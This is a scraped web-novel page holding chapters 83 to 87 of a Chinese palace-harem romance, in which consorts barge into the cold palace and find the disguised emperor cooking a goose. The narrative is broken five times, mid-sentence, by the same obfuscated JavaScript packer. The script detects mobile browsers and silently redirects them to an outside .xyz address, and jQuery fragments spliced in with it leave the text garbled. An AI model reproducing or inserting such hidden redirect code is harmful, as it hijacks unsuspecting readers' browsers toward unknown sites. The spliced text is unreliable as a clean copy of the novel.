;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482428|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会连这点小事都不想帮晋姐姐做吧?” “要杀吗?”贺江灈没理会姜妃,转头向晋明鸢确定。 晋明鸢讷讷的点了点头:“你可以吗?” “把刀拿来。”贺江灈直接伸出了手,他又转而对着贺云瑄,轻车熟路的吩咐,“有热水吗?去准备好热水?” 杀鹅是小事,麻烦的是褪**。 贺江灈看了一眼晋明鸢,他是了解她的,从小就不会做饭,每每进厨房都是灾难现场。 这种事她自然做不得。 再看一眼矮冬瓜一样的贺云瑄,他又摇了摇头,算了,这小子看起来没有比这鹅重多少,这种事也用不着他帮忙。 最后视线在姜妃身上定格,贺江灈道:“你在这里帮忙?” “为什么是我?”姜妃当即反问,“这么点小事,您自己难道做不好吗?您难道不想在晋姐姐面前表现表现吗?” 贺江灈的接连妥协,到底是让姜妃找到了底气,姜妃直接反驳道。 贺江灈说:“难道你让阿鸢做这种事?” 就这么一句话,姜妃妥协了,她不情不愿的道:“帮忙就帮忙,你要我弄什么?” 贺江灈直接将大鹅塞给了姜妃,声音冰冷:“等会儿拎着它的腿放血,把血放干。” 就这么一句话,姜妃就听出来了,这男人分明是把她当架子用,就他吩咐的那些,分明就是用根绳子把鹅腿绑上,挂在树杈子上都能做的事儿,偏让她用手拎着。 姜妃拧着眉,一脸抗拒。 贺江灈又说:“姜妃不是很闲吗?这点小事都不愿意做吗?” “你这是刻意刁难。”姜妃心一横,干脆直接反驳。 贺江灈冷笑:“刻意刁难?那姜妃不如问问自己,你在打什么主意?” 他忽然靠近一步,在姜妃身边压低了声音道:“在朕面前能坐享其成的只有阿鸢,你还不行。” 他反手转了一下手里的菜刀,刀光映着月光,正照在姜妃的脸上。 第83章 贵妃捉奸 冷宫里几人正为杀鹅的事忙得如火如荼的时候。 玉粹宫里亦是灯火通明。 包括刚禁足出来没多久的欣贵人以内,后宫大半的嫔妃这会儿都聚在了玉粹宫。 徐婕妤一脸头疼的道:“贵妃娘娘,您说这都是什么事儿呀?这冷宫里天天那么大动静,咱们姐妹们以后岂不是连觉都睡不好了?” 王昭仪也是叹气道:“陛下的命令大家都听见了,看来这分明是陛下默许了那位养这些的,咱们就算是反对也没有用,怕是也只有贵妃娘娘的话,才能劝得陛下三思了。” “贵妃娘娘可得为嫔妾做主啊,就算她在冷宫,弄出这些动静,也实在是影响别人。” 贵妃的脸色也不好看。 她也是听了张康全传来的话,才知道了晋明鸢竟然荒唐到在冷宫里养牲畜。 平日里关于晋明鸢的事,陛下总要先来她这里问问的,可这次也不知为什么,她等到的就直接是陛下准许了的消息。 而且看陛下那个架势,分明就是要为晋明鸢兜底。 贵妃不知道问题出在了哪里,她只知道现下陛下越过她的行为,让她有些不安。 莫不是在自己不知道的时候,这两人已经重归旧好了? 怎么可能,明明之前… 有那个小杂种在晋明鸢身边,陛下怎么可能不介意? “贵妃娘娘,您说句话呀,这才第一日就闹出了这么大的动静,若是放任她一直养下去,岂不是让这后宫都不得安宁?” 见贵妃失声,又有人催促一声。 贵妃说:“姐妹们别着急,本宫已经让人去打探情况了,晋姐姐这次是有些荒唐,只是陛下那边已经同意,本宫觉得…” “贵妃娘娘,出大事了,奴婢方才去冷宫打探情况,结果…结果…” 玉粹宫的一个小宫女从外面跑进来。吞吞吐吐的,大半天都说不出一句完整的话来。 满春道:“结果什么?有什么话不能说的?” 那小宫女心一横,直言道:“奴婢在冷宫外面听着有男人的声音,好像还和晋娘娘关系匪浅,奴婢…” 那小宫女又说不下去了。 贵妃猛的站了起来:“你胡说八道什么?晋姐姐怎么可能做对不起陛下的事? 滚出去,若是让本宫再听到你胡说,本宫打烂你的嘴。” 小宫女颤颤巍巍的退了下去。 徐婕妤却小心翼翼的道:“贵妃娘娘,嫔妾觉得她只是个宫女,应该没有胆量胡说八道,那冷宫…” “你什么意思?晋姐姐的为人我是最清楚的,她不可能…” “怎么不可能,这种事她不是已经做过一遍了吗? 贵妃娘娘,要不咱们还是去冷宫看一看,若是没有,就当是误会了她,但若是真的发现了什么…”徐婕妤没有说下去。 其他几个嫔妃也是连连点头,一副跃跃欲试的模样。 平日里这种场合,最爱拱火的就是欣贵人,但今日也不知为何,欣贵人却意外的安静。 贵妃在一众嫔妃的撺掇之下,终于犹犹豫豫的点了一下头,但她心里却是一片茫然。 以晋明鸢那样的性格,她真的会与别的男人有牵扯吗? 不过她现在失忆了,性子和以前大有不同,倒也说不准。 一行人浩浩荡荡的朝着冷宫而去,而此时冷宫里,贺江灈已经将那只大鹅处理了个妥帖。 这会儿正忙着准备配菜。 贺云瑄在一边烧火,姜妃则是满脸不情不愿地跟着贺江灈打下手,只有晋明鸢,不仅帮不上什么忙,还被贺云瑄塞了一把蜜饯瓜子。 这些东西都是晋明鸢让姜妃买给贺云瑄的,结果到最后却是全被贺云瑄塞到了她手里。 晋明鸢被破百无聊赖的瘫在廊下,看着几人各司其职,就在这时,门外忽然传来了一阵敲门声。 声音急促而剧烈。 晋明鸢还没起身,只听哐当一声巨响,冷宫里的门竟然就这么直接被人撞开了。 姜妃远比晋明鸢反应的要快,直接丢了劈柴的斧子,挽了袖子就大步朝着门口走去,她目光扫向为首的贵妃:“什么风把我们养尊处优的贵妃吹到冷宫来了? 啧啧,这阵仗还真是大呀,这是要做什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482429|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓奸吗?” 最后三个字,姜妃无比的嘲讽,她鄙夷的看着贵妃,贵妃连忙摆手,但徐婕妤已是惊讶的道:“姜妃,你怎么在这里?” “我与晋姐姐亲如一人,我在这里有什么值得惊讶的吗?倒是你们一个个不怀好意的,这个点过来,该不会真是要抓奸吧?”姜妃又嘲讽一句,眼睛里却露出了几分期待。 啧。 她还正愁着该怎么在晋姐姐面前拆穿那男人的身份呢。 若是她自己来,坏了那人的好事,那人肯定得发她,可现在竟然有人乐意效劳,这大好的事儿,姜妃可是欢迎至极。 话说着姜妃干脆侧开了身:“来都来了,都在门口做什么?不打算进来看看吗?” “姜妹妹,这…”晋明鸢不知道姜妃的想法,眼见着她要把人放进来,连忙跑过来拦。 那群嫔妃们看到姜妃如此坦荡,本来还心有怀疑,现下又见晋明鸢的模样,个个眼睛都亮了几分。 徐婕妤一马当先的冲了进来,脚步直冲着传来声响的厨房而去。 其他几个人也不甘示弱,倒是贵妃坠在后面,看着晋明鸢有些无奈道:“姐姐,陛下明明对你这么好,你怎么能…你怎么能做出这种事呢? 这若是传到陛下耳朵里,让陛下该如何自处啊?” 姜妃冷哼一声:“你少站在道德的制高点上来指责晋姐姐,你自己什么都不清楚呢,怎么就断定晋姐姐有错? 贵妃,我劝你还是先等等看,别一会儿把自己的脸打肿了。” 姜妃全然一幅胜券在握的模样,让贵妃的脸色略微有些僵硬。 满春说:“姜妃你说话别太过分,我们贵妃也是一心为晋娘娘着想,她也只是不希望晋娘娘误入歧途。 反倒是您,明知晋娘娘失忆,不辨是非,还放任着她乱来,真不知道居心何在。” 姜妃轻笑一声:“不辨是非,我倒是觉得晋姐姐如今比之前清醒的多,反而是你这个贱婢,本宫还在这里呢,岂容你侮辱我晋姐姐?” 话音一落,根本就没有给满春反应的机会,姜妃一巴掌已经落在了她脸上。 第84章 是陛下啊 清脆的声响在鸡鸣猪叫的冷宫里,也格外的刺耳。 满春捂着脸,错愕的看向姜妃。 贵妃则是皱着眉,明显要发难,而就在这时方才闯进小厨房里的徐婕妤等人,也不知道抽了什么风。 贵妃只听到徐婕妤声音尖锐又颤抖的在叫:“陛陛陛…” 她眉心蓦地皱起,也顾不得姜妃了,声音有些烦躁的道:“你陛什么呢?嗓子坏掉了,还是不会说话了?” “不是贵妃娘娘,是…是…”徐婕妤的声音还在不停的发颤,她看着面前面无表情拿着菜刀剁肉的人,根本就说不出一句完整的话来。 她们来捉奸的没错,这冷宫里也确实有个男人,可是也没人告诉她,那男人就是陛下呀! 徐婕妤是第一个闯进来的,这会儿她甚至都有些站不住了,手脚都是脱力的。 “贵妃娘娘,您的狗好像不太好呢,您确定不去看看吗?”姜妃说。 她伸手顺势挽住了晋明鸢的胳膊,喜滋滋的就要带着晋明鸢去认认那位隐藏身份的陛下。 贵妃久久等不到徐婕妤的后文,也有些不耐烦,她扫了姜妃一眼,便大步抬脚朝着小厨房而去。 直到看到面色冰冷的人,贵妃一张脸险些扭曲。 陛下! 这么晚了,他怎么在这里? 而且看他这副打扮,分明就是故意隐藏身份陪晋明鸢玩的。 晋明鸢进来的时候,看到的就是以贵妃为首的所有人都面色呆愣的盯着那个男人。 姜妃也不知为何,竟然还这么镇定。 但晋明鸢的心头,却难得的生了些许慌乱,她甩开了姜妃,跑到了贺江灈面前:“你们别误会,这就是我让姜妃帮我找来的厨子,就过来做饭的,对不对?” 说话间她拿手肘直接撞了贺江灈一下,心底略微有些没底。 上次柳枝可是和她说过了,嫔妃通奸可是重罪,多是一杯毒酒,一条白绫断送性命。 她上次挑破贵妃的事没成,现在竟然被贵妃反捉奸,这事可不好办啊! 虽说她生下云瑄的事,那陛下不知怎么饶了她一次,但这次晋明鸢可是不敢赌。 她的云瑄还那么小,那么可爱,她可不能这么出事。 甭管别的,就看晋明鸢用力杵贺江灈的那一下,徐婕妤等人就已经吓得冷汗连连。 而贵妃亦是表情有些扭曲。 她好像又看到了当年贺江灈与晋明鸢成亲之前,男人永远都是这么包容晋明鸢的,哪怕晋明鸢无礼粗鲁,但每每惹了祸事,都有贺江灈任劳任怨的给她兜底。 不管晋明鸢闯下多少祸事,只要有贺江灈在,满京城就没有一人敢说她的不是。 现在这般,只看到贺江灈站在厨房里的那一刻,不用他说话,贵妃就已经能想到结果了。 这种时候就算是给贵妃天大的胆子,贵妃也不敢来拆穿贺江灈的身份。 甚至眼看着徐婕妤颤抖着想要下跪,还是贵妃伸手拉住了徐婕妤的胳膊,她强作淡定:“晋姐姐说的是,这种小事,妹妹自然不会误会,晋姐姐真是好兴致,这么晚了还做饭,这…” “你们要留下来吗?”贵妃话还没有说完,晋明鸢忽然打断了她。 她想的很简单,现在这男人在这里的事已经让贵妃她们看到了,若是贵妃离开了,指不定会跑到陛下那里乱传,倒不如让贵妃等人自己亲眼看看,她说的是厨子就是厨子。 “这,我…”贵妃表情有些扭曲,将求助的视线落在了贺江灈的脸上。 其他几个嫔妃更是面面相觑,这会儿连话都不敢说了。 留下,她们能留下吗?又敢留下吗? 不管陛下到底出于什么目的,但现在在厨房里做饭的确实是陛下。 她们真的能堂而皇之地留下吃陛下做的饭? “你看他做什么?我都说了他就是一个厨子,贵妃既然来了,不如就留下吧,正好尝尝我的鹅。”晋明鸢说。 她这会儿已经想好了,等她的大鹅下了锅,她就把贺江灈赶走。 看贵妃等人还有没有办法再冤枉她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482430|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这,我…”贵妃还是看着贺江灈。 哪怕没有听到贺江灈说话,她都觉得有些压不住心虚。 但晋明鸢这会儿完全下定了决心,根本就不给贵妃反应,拽着她的胳膊就把人往外面拉。 贵妃都被扯了出去,徐婕妤等人自然也不敢留,只能惴惴不安地跟在晋明鸢的背后,甚至一步三回头的朝着小厨房的方向望。 这都是什么事儿呀?若是早知道里面是陛下,就算再给她们十个胆子,她们也不敢跑来抓奸呀。 这下好了,没抓住晋明鸢的错处不说,还完完全全的把陛下得罪透了。 一众嫔妃散去,姜妃却没有走。 她站在门口,脸上带着几分可惜,就差一点,若不晋姐姐,这男人的身份就已经暴露了。 这样大好的机会让他躲过去了,还真是够可惜的。 不过… 姜妃很快又弯起嘴角笑了起来,她特地将劈材的木桩搬到了厨房门口,面不改色的挑破一个事实:“陛下,您说说您这是何必呢?费尽心力的过来做顿饭,自己连口汤都碰不到,怕是等会儿这饭一熟,晋姐姐就得把您赶走了,要不您直接在晋姐姐面前挑拨身份,这样说不准还能留下来?” 贺江灈脸色一沉,目光冰冷的扫向姜妃:“姜妃,你还是很闲是不是?” 姜妃连忙摇头:“那倒没有,臣妾只是觉得陛下这般实在是太憋屈了,臣妾这不是在给陛下出主意吗?” “用不到你多嘴。”贺江灈说。 他那个身份和阿鸢之间隔着太多,现在阿鸢失忆,还不知道从别人口中听了多少不好的话。 至少现在这样,阿鸢不至于惧怕他,这就很好。 姜妃努了努嘴:“臣妾得先说明一下,这事可与臣妾无关哈,坏了陛下好事的是您的好贵妃,您可不能忘了。” 斧头落下,一根木材一分为二,姜妃脸上带着明显看好戏的神色。 虽然那贵妃还算聪明,最后没敢挑破贺江灈的伪装,和今日这事儿,明显不能善了。 第85章 倒打一耙 “晋娘娘,天色这么晚了,你早些休息,我们还是先走吧。” 从小厨房里出来,徐婕妤怎么想怎么心惊胆战,刚才就是她第一个闯进小厨房的,她这会儿哪还有胆量留下来?只想着先溜为快。 王昭仪也跟着点头道:“晋娘娘,我们就不打扰您的雅兴了,我们还是赶紧回去吧。” 开什么玩笑,方才已然是惹怒陛下了,再留下来吃饭,是嫌自己的命不够长吗? 虽然还不知道陛下为什么会出现在这里,但是现在又有谁敢探究呢? 来时气势汹汹的女人们在这会儿各个惴惴不安,恨不得马上离开。 就连贵妃也说:“晋姐姐,我今日就是过来看看你的,既然你没有事,那我们就先走了。” 话说的倒是客气,但贵妃的指甲却已经嵌进了手心里。 她一直都以为,陛下是在避着晋明鸢的。 就连她的眼线能探到的都是陛下从未来过冷宫。 可谁又知道,陛下竟然为了哄她晋明鸢,隐藏身份,跑到这里做个什么厨子! 陛下到底在想什么?当年那事他难道一点也不在意了吗? 虽然有诸多想法在心里闪过,但这会儿贵妃亦是心虚的不敢在贺江灈面前露面。 她强行使自己压着情绪,急匆匆的就要带人离开,但脚步还没迈出去,晋明鸢已经张开双臂拦在了她面前。 “晋姐姐,你做什么?”贵妃问。 她之前对晋明鸢说话的时候,一直都是客气的,但今日情绪压抑不住的情况下,连语气都尖锐了许多。 “各位娘娘来都来了,正好留下一起吃个饭吧,反正大家也不差这一时,对不对?”晋明鸢说。 贵妃之前来她这里,总要说些有的没的,待许久才走,今日对方走的这么急切,看在晋明鸢眼里,分明就是想去陛下那里告她与人通奸。 既然已经意识到了这一点,晋明鸢当然不会放任着她离开。 她就是要留着贵妃在这里好好看着,等到厨房里那个男人走了,让贵妃看清楚,她们之间没有别的猫腻,再让贵妃离开。 贵妃拧着眉:“晋姐姐,还是算了吧,我吃过晚膳了,还是不打扰你了。” 她有些掩饰不住心里的烦躁。 她总觉得晋明鸢就是故意让她难堪的。 徐婕妤也连连赞同:“是呀,晋娘娘,我们都吃饱了,我们就先走吧。” 话说着,她更是要直接越过晋明鸢。 开什么玩笑,本来撞破了陛下的好事就够倒霉了,还留下吃陛下做的饭,她敢吗? 她们越是这么躲闪,晋明鸢就觉得有鬼。 再不给她们废话的机会,晋明鸢一手扯过贵妃,一手扯过徐婕妤,不由分说的就拉着两人往饭桌那里走:“我都说了留下来吃饭,你们哪里来的那么多废话?既然到了我这里就听我的,我不同意,谁也别想出这个门。” 强行被按在了凳子上,徐婕妤觉得自己的腿还在发软。 其他人也好不到哪里去,贵妃都坐下了,她们自然也不敢走,只能一个个的硬着头皮往贵妃那里坐。 见一群人都听话的落了座,晋明鸢脸色这才好看了些,她拍了拍手,冲着贺云瑄道:“云瑄,给你姨姨们上茶。” 贺云瑄那边本来还垮着一张脸帮贺江灈烧火,听到了晋明鸢的吆喝,立刻就丢下了手里的东西跑了出来。 姜妃回头,看了一眼脸黑如墨的贺江灈,又是毫不掩饰的笑出了声。 活该,让他装。 自己在这里干活吧。 这么想着,姜妃就把一堆已经劈好的柴一股脑的堆到了贺江灈的身边:“陛下您自己慢慢忙吧,臣妾得去陪着晋姐姐了,那么多牛鬼蛇神一块跑来,晋姐姐可别被人欺负了。” 姜妃动作快,跑的也快,根本就不给贺江灈拒绝的机会,一阵风一样的蹿到了晋明鸢跟前。 哪怕离了贺江灈那里,她还忍不住偷笑。 虽然她知道自己这么做八成会挨罚,不过没关系,那不是还有贵妃陪她吗? 不同于姜妃这会儿的好心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482431|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,贵妃等人具是坐立难安。 还是徐婕妤小心翼翼的说:“那个…贵妃姐姐,那个人他…他自己在厨房里是不是不太好,我们要不要去帮忙呀?” 走又走不了,在这里干坐着,徐婕妤真是怕的很。 贵妃也怕。 听她这么一提醒,贵妃连忙赞同道:“徐妹妹说的是,要不我们一起去帮忙吧。” 她们一群人在这儿坐着,让陛下一个人在厨房里干活,绕是贵妃也汗流浃背。 虽然今日这公里半数嫔妃都到了,但是牵头的毕竟是她,又碰上这样的事,甭管陛下平常对她再如何宽容,今日却未必能善了。 贵妃也想将功补过。 这群养尊处优的嫔妃,平日里哪个不是过着衣来伸手,饭来张口的日子? 现在竟然主动要去厨房帮忙,这正常吗?自然是不正常的。 晋明鸢觉得她们就是想去与那男人套近乎,顺便在打探消息的。 晋明鸢直接反咬一口:“各位娘娘难道不知道男女有别吗?这么争先恐后的去与一个外男共处一室,你们都是打的什么主意?难道想背叛陛下?” 她这几个问题问出口,贵妃呼吸一滞,险些吐血。 其他人也各个目瞪口呆,完全没想到还能这么被人空口白牙的攀咬一口。 王昭仪连忙否认:“这怎么会呢?晋娘娘您真是爱开玩笑,咱们那不是看着只他一个人在干活,有点…有点…” 有点什么,王昭仪自己也说不出来。 她平常会怜悯下人吗?当然不会。 但里面那个可是陛下,试问除了一无所知的晋明鸢以外,还有谁能在这个时候稳如泰山? 晋明鸢道:“行了,不就是让你们留下来吃饭吗,哪里来的那么多事,各位娘娘也都是身份尊贵的人,做什么对我的厨子那么关心? 这若是传出去了,岂不会让人觉得掉了各位的身份?” 她一句厨子,又引的所有人都神色惶恐的朝着小厨房的方向望,生怕被里面那位听到了。 第86章 晋明鸢真够黑的 在一群嫔妃们的提心吊胆中。 锅里炖着的鹅终于还是熟了,香味儿在冷宫里弥漫。 是贺江灈亲自把饭菜端上来的。 那群嫔妃们看到他,一个个都恨不得把头缩进肚子里当鹌鹑,半点声音也不敢发出来。 至于他的表情,更是没人敢看。 除了晋明鸢,她伸手直接在贺江灈的肩膀上拍了一下:“行了,这里没你的事儿了,你走吧。” 贺江灈直接伸手攥住了她的手腕,阻断了她想把手直接收回去的动作:“用完就丢?” “不然呢,你记清你的身份,你就是个厨子,干完活不走,还想做什么?” 晋明鸢被他突如其来的动作吓了一跳,忙不迭地把手抽了回来,紧接着就是色厉内荏的一句呵斥。 这男人疯了不成?看不到这么多人都来捉奸了吗?他还不赶紧走,在这里说些莫名其妙的话,生怕自己死的不够早? 目光瞥了一眼在座的嫔妃,见所有人都低着头,根本没有人望过来,但晋明鸢还是觉得有些没底,于是她又补充一句:“我警告你,我可是给过钱了,你别狮子大开口想讹我。” 贺江灈眼角微挑,瞧着女子那张紧张的脸,他忽然低笑一声:“娘娘误会了,我只是想提醒娘娘,您还有一只鹅呢,那只要什么时候处理?” 似乎是为了响应他的话,仅剩的一只大白鹅,又是扯开嗓子高声啼叫起来,那声音存在感十足,让人实在无法忽略。 他说的并不是暧昧的话,但说到底还是在与晋明鸢定下一次见面的时间,这种话落到那群嫔妃的耳朵里,自然是不太好。 晋明鸢拧着眉,有些怀疑他是故意的。 她摆了摆手,敷衍道:“再说吧,我还不知道你鹅做的怎么样呢,这没你的事了,你还不赶紧走?” 逐客令下的干脆。 全然是一副要与他撇清关系的模样,贺江灈一时竟然不知道是该喜该忧。 姜妃也在这时候故意起哄:“没听晋姐姐说嘛,用得到你的时候自然就找你了,现在你还是快走吧。” 贺江灈从来都没有觉得,一个人能像姜妃这样惹人心烦。 仅仅听到这女人的声音,他就已经控制不住的拧紧了眉心,狠狠的瞪了姜妃一眼,他一甩袖子直接离了冷宫。 就像是罩在头顶的一片乌云,乍然消失,瞬间天清气朗。 在座的嫔妃在这一刻都重重的舒了一口气。 虽然等会儿出了冷宫,她们这些人免不了要自己去向陛下请罪,但至少这会儿算是能喘一口气了。 最没心没肺的还是姜妃,她直接从贺云瑄那里要了空碗,先盛了一碗肉推到了晋明鸢面前,又给自己盛了一碗,随机便赞道:“啧,真不愧是我做主买的鹅,这肉就是香。 该说不说,那人虽然人不咋地,但厨艺还是有的,晋姐姐你也尝尝,这新鲜的大鹅就是好吃。” 晋明鸢也觉得那人走了,今日这一关应该算是应付过去了,她这会儿也放松了心情,先给贺云瑄碗里夹了块肉,又开始招呼贵妃等人:“你们也别干坐着呀,一起吃,不然等会拿钱的时候,可别说我讹你们。” “什么?拿钱?”徐婕妤失声尖叫出声。 有没有搞错,从头到尾就是她强行把她们这群人留下来吃什么鹅的,还因此让她们把陛下得罪的更狠了。 现在她还想让她们拿钱? 她怎么这么黑? 晋明鸢道:“不然呢,你当我这鹅,我这柴都是大风刮来的嘛,我请你们吃,你们难道不该付出点什么吗? 赶紧吃,吃完拿钱,哪来那么多废话?” 一群人面如菜色,简直比方才贺江灈在这里的时候脸色还要难看几分。 她是真敢说呀,都要把她们这群人害**,还好意思要钱。 “贵妃娘娘,您看…”徐婕妤争不过晋明鸢,转而向贵妃求助。 贵妃脸色一片扭曲:“叫本宫做什么?她要就给她呀。” 今日在这冷宫里,贵妃平日里引以为傲的温柔,几乎被尽数撕碎。 她甚至根本不知道该怎么去维持她的那份惯有的温柔。 “贵妃娘娘误会了,你们都吃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482432|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的鹅,都要给我钱,一个也别想赖账。”晋明鸢又说。 她的手在贵妃的面前摊开,嘴里还嚼着肉,说话都含糊不清的。 她们吃个鬼了,这里除了她与姜妃以外,谁动过那盆肉一下? 贵妃心里简直要呕**。 但这会儿她也不愿意再和晋明鸢纠缠下去,只想赶紧离开这个地方,回去好好想想该怎么去给陛下赔罪。 贵妃道:“你要多少?” “随便,反正你们看着给吧,每个人都要给。”晋明鸢说。 别以为她看不出来,这群人就是气势汹汹跑来捉奸的。 想害她还想直接走,哪有那么便宜的事? 之前她有银子花不出去,便对这些身外之物不那么在意,可现在不是有姜妃了吗?她得多收罗点银两,好给她宝贝儿子买好吃的好玩的。 贵妃脸色一冷,伸手从头上取了支步摇扣在了桌上:“这样可以了吧?” 被恶心到极点,这会儿贵妃连一句姐姐也叫不出口了。 其他嫔妃也纷纷有样学样,纷纷在身上随便取了件首饰放了下来。 只有轮到欣贵人的时候,她解下了自己的荷包,沉甸甸的,在一堆首饰里很是晃眼。 几乎所有人都顺着那只放下荷包的手望向了欣贵人,欣贵人脸上情绪有几分闪烁,却也没有把荷包收回来。 等到所有人都依次放下了东西,晋明鸢这回满意了,她说:“东西我都收下了,这鹅是你们自己不吃的,到头来可别说我骗你们哈? 不过我这人也不是什么奸商,这样吧,这里还有一只活的,你们带走自己炖了去吧。” 话说着,她目光一转,看向了那只在院子里撒鸭子,跑得正欢的大鹅。 她可还记得那男人临走之前,还妄图想和她定下处理这只鹅的时间。 就算以后她不再与那男人见面,也免不了引贵妃这群人猜忌,倒不如直接把这只鹅丢给贵妃,正好以绝后患。 虽然这只大鹅送出去她是有些心疼,但好歹也收刮了贵妃那么多银子,总的来说倒是不亏。 第87章 是欣贵人非要买她的鹅 谁愿意要她的大鹅? 莫说是要现在听到那玩意儿,她们都觉得晦气。 一众嫔妃面如菜色,但尽管心里再不情愿,半个时辰之后,那只呱呱乱叫的鹅还是被姜妃拎着脖子塞给了她们。 用晋明鸢的话说,就是她们付过钱了,不能吃亏。 简直荒唐,根本就是借口,若真是不想让她们吃亏,大可以把钱退给她们呀,何至于塞只鹅过来。 但不管心底再如何腹诽,这群人到底没敢当面反驳晋明鸢,于是她们离开冷宫的时候,到底还是带走了那只鹅。 当然作为这群人里位分最低的一个,拿着鹅的重任就交给了欣贵人。 从冷宫里出来,欣贵人就有些为难道:“贵妃娘娘,现在怎么办?这只鹅怎么处置?” 贵妃有些不满道:“你问我,我问谁?你自己想办法处理了就是,反正刚才掏银子的时候不就你掏的最多吗?这鹅明显就是给你的。” 说话间,她上下整理了一下裙摆,方才在冷宫坐了一会儿,她只觉得脑袋都快被那鸡叫吵大了,她甚至觉得自己身上都沾了股鸡屎味。 徐婕妤等人也都是满脸嫌弃,王昭仪指着欣贵人:“你把那东西离本宫远点,贵妃姐姐说的是,就你刚才拿钱拿的最多,这玩意儿你自己看着处理吧。” 欣贵人当然听得出来,这些人是因为荷包的事在质问她。 她眸光有些微的闪烁,委屈道:“对不起各位姐姐,刚才那晋娘娘有点吓人,我又得罪过她,害怕她刁难,一时害怕,才…才把银子都给她了。” 徐婕妤鄙夷的看了欣贵人一眼:“啧,不愧是小门小户出来的,真没出息。” 王昭仪道:“算了,懒得跟你计较,你别跟着我们了,你这鹅吵**。” 欣贵人眼红了红,她没说话,正要退开,前面拐角处,张公公的身影却忽然出现,恭恭敬敬的行了个礼之后,他说:“各位娘娘请吧,陛下等你们很久了。” 在看到张公公的时候,一群人脸上已经有了明显的心虚,就连贵妃神色都有些不安。 知道今日这事儿是躲不过去了,她们只能硬着头皮跟着张公公走。 紫宸殿里,贺江灈已经换了一身龙袍,好整以瑕地等着她们的到来。 还没有看到人影,先听到了一阵刺耳的鹅叫声。 贺江灈的脸色一下子就沉了下来,他又想到了今日冷宫的那股子有气没处使的憋屈。 不出一盏茶的时间,张公公就带着一众嫔妃出现在了他面前,而贺江灈的视线好巧不巧的,一下子就落在了队伍最后拎着鹅的欣贵人身上。 他绝对没有认错,这就是晋明鸢那里的另一只大鹅。 贺江灈眉头紧锁,他还没有说话,徐婕妤就顺着他的目光落在了欣贵人身上。 眼珠子转了转,徐婕妤忽然跪了下来,她道:“陛下,不关臣妾们的事呀,是这欣妹妹,也不知怎么回事,非要花银两买了晋娘娘的大鹅,还说要送给陛下呢。” 说话间,她伸手拉了旁边的王昭仪一下,王昭仪很快反应下来,心领神会道:“对对对,陛下都是欣贵人自己要买的晋娘娘的鹅,和臣妾们无关。” 眼下她们已然得罪了陛下,这欣贵人还把鹅拎到陛下面前来,这不就是让陛下想起在冷宫里的不愉快吗?她们可不能被欣贵人牵连了。 欣贵人身子僵在原地,完全没有想到这群嫔妃们竟然反口的这么快,但随着徐婕妤的话一出,一群人纷纷争先恐后的出来作证,完全不给欣贵人一点辩驳的机会。 “不是的陛下,臣妾…”欣贵人手忙脚乱的想解释,话才开了个头,就被人打断:“欣妹妹,事情是你自己做的,就不要再否认了,大家都看到了,是你给了晋姐姐一大包银子。” 说话的是贵妃。 她目光轻飘飘的扫过来,立刻就让欣贵人闭了嘴。 目光低垂下去,欣贵人不再言语,但肩膀明显是颤抖的。 她知道贵妃是想让她顶罪。 即便再不愿,她也不敢得罪贵妃。 毕竟她给贵妃顶罪,也不是第一次了。 欣贵人的沉默,一下子就给了徐婕妤等人底气。 徐 